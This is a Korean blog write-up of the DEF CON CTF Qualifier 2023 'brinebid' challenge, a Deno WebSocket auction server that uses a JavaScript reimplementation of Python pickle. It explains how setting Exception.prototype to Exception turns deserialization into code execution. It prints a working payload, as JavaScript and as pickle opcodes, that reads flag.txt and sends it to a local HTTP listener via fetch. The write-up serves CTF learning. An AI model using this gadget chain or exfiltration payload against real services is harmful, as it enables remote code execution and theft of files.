[CTF] DEF CON CTF Qualifier 2023 - brinebid : Deserialization Attack against Javascript

The Orange·2024년 2월 14일
0

CTF

목록 보기
5/7
1. Overview
2. Analysis
	2-1. Websocket Server
    2-2. Request
    2-3. 상속 구현
3. Exploit

1. Overview

brinebid는 DEFCON Quals 2023에 출제된 문제입니다. Deno JS로 만든 WebSocket 서버를 백엔드로 사용하고 있고 python의 pickle을 JS로 직접 구현하여 파이썬 클라이언트와 통신을 하고 있는 경매 플랫폼입니다.

2. Analysis

2-1. Websocket Server

window.wss = new WebSocketServer(PORT);
wss.on("connection", function (ws) {
  const pws = new PickleWebsocket(ws);
  window.current_client = pws;
  ws.on("message", function (message) {
    try {
      pws.process(message);
    } catch (e) {
      console.error(e);
      pws.send(Exception([e.toString()]));
    }
  });
});

문제에서는 파이썬 클라이언트와 통신하기 위해 Websocket 서버를 엽니다. 그리고 메시지를 받으면 PickleWebsocket로 넘겨줍니다.

class PickleWebsocket {
  constructor(ws) {
    this.ws = ws;
  }
  send(obj) {
    const out = Pickler.pickle(obj);
    this.ws.send(out);
  }
  process(message) {
    let struct = Unpickler.unpickle(message, "base64");
    if (struct instanceof Message) {
      struct = struct.body;
    }
    if (struct instanceof Request) {
      struct.process(this);
    } else {
      this.send(Exception(["Invalid request"]));
    }
  }
  ws;
}

PickleWebsocket에서는Unpickler.unpickle을 통해 피클 역직렬화를 하고 처리를 합니다.

2-2. Request

Request 종류

  • AuctionInfoRequest
  • AuctionBidRequest
  • WalletRequest
  • SellPropertyRequest
  • NewLoanRequest
  • PayLoanRequest
  • ResetRequest

Request의 종류에는 위와 같은 것들이 있고 프로토타입에 process를 구현했습니다.

// ex
AuctionInfoRequest.prototype.process = async function (ws) {
  ...
};

2-3. 상속 구현

Javascript는 ES6부터 class 관련 기능이 추가되면서 extends를 쓸 수 있게 되었습니다.

하지만 이 문제에서는 class를 쓰지 않고 function을 이용해 class를 구현했고 해당 과정에서 상속을 위한 super_constructor 함수를 만들어 사용하고 있습니다.

// super_constructor를 이용한 코드
function AuctionInfoRequest(args) {
  var _this = this;
  _this = super_constructor(this, AuctionInfoRequest, args);
  return _this;
}
// **프로토타입 체이닝**
Object.setPrototypeOf(AuctionInfoRequest.prototype, Request.prototype);
PICKLE_GLOBAL_SCOPE["__main__.AuctionInfoRequest"] = AuctionInfoRequest;
AuctionInfoRequest.prototype.process = async function (ws) {
  ...
};

super_constructor에서는 체이닝한 부모 클래스의 프로토타입을 가져와 객체를 생성 합니다.

function super_constructor(_this, clazz, ...args) {
  if (!clazz.prototype) return _this;
  if (!_this) {
    _this = Object.create(clazz.prototype);
  }
  let super_class = Object.getPrototypeOf(clazz.prototype);
  if (!super_class || !super_class.constructor) return _this;
  var res;
  res = super_class.constructor.call(_this, ...args);
  if (res && res !== _this) {
    Object.setPrototypeOf(res, clazz.prototype);
    return res;
  }
  return _this;
}

prototype의 constructor와 생성자가 같기 때문에 super_class가 prototype이어도 됩니다.
+ 최상위 클래스인 Memory에서는 prototype이 Object로 설정되어 있어서 Object.constructor.call이 됩니다.

3. Exploit

번들링된 서버 파일 main.bundle.js를 보면 Deno.readTextFile를 호출하는 여러 부분들이 있지만, 경로에 사용자 입력 문자열이 들어갈 수 없거나 하는 등의 이유로 저 부분은 사용이 불가능 하다고 생각했습니다.

따라서 js로 구현된 pickle을 분석하게 되었습니다.

brinebidprototypesuper_constructor를 이용해 상속이 구현되어있습니다.

Exception은 함수이기 때문에 Exception.constructor를 하게 되면 Function를 얻어 RCE를 할 수 있게 됩니다. 하지만 피클에 특정 요소의 키를 가져오는 OPCODE가 없어 super_constructor를 이용해야 합니다.

function super_constructor(_this, clazz, ...args) {
...
  let super_class = Object.getPrototypeOf(clazz.prototype);
...
  res = super_class.constructor.call(_this, ...args);
...
}

Exception.prototype = Exception을 하게 된다면 clazz.prototypeException이 될 것이고 Exception은 함수라 super_class에는 Function의 prototype이 담기게 될 것 입니다..!

따라서 super_constructor를 이용하여 함수를 만들 수 있게 됩니다.

4. Finish

function Exception(args) {
  var _this = this;
  _this = super_constructor(this, Exception, args);
  return _this;
}
Object.setPrototypeOf(Exception.prototype, PythonObject.prototype);
PICKLE_GLOBAL_SCOPE["builtins.Exception"] = Exception;
// 문제의 Exception 선언 코드
Exception.prototype = Exception
Exception("fetch('http://localhost:9999/'+Deno.readTextFileSync('./flag.txt'))")()

위에서 설명했던 것대로 Exception.prototype = Exception을 해주고 Exception을 호출해주어 함수를 만들 수 있습니다.

굳이 Exception을 쓰지 않더라도 생성자에서 별 다른 일을 하지 않는 클래스라면 Exploit에 쓸 수 있습니다..!
Unpickler는 역직렬화 과정이 진행되며 오류가 뜹니다

OPCODE로 표현하면 아래와 같습니다.

[PICKLE_OP_BYTES.GLOBAL, "builtins\n", "Exception\n", PICKLE_OP_BYTES.UNICODE, "prototype\n", PICKLE_OP_BYTES.GLOBAL, "builtins\n", "Exception\n", PICKLE_OP_BYTES.SETITEM, PICKLE_OP_BYTES.UNICODE, "fetch('http://localhost:9999/'+Deno.readTextFileSync('./flag.txt'))\n", PICKLE_OP_BYTES.REDUCE, PICKLE_OP_BYTES.EMPTY_LIST, PICKLE_OP_BYTES.REDUCE, PICKLE_OP_BYTES.NONE]

저렇게 만든 페이로드를 WebSocket으로 서버에 보내주면 플래그를 얻을 수 있습니다

const ws = new WebSocket("ws://localhost:8080");
ws.onopen = () => {
	ws.send(btoa(payload));
};

0개의 댓글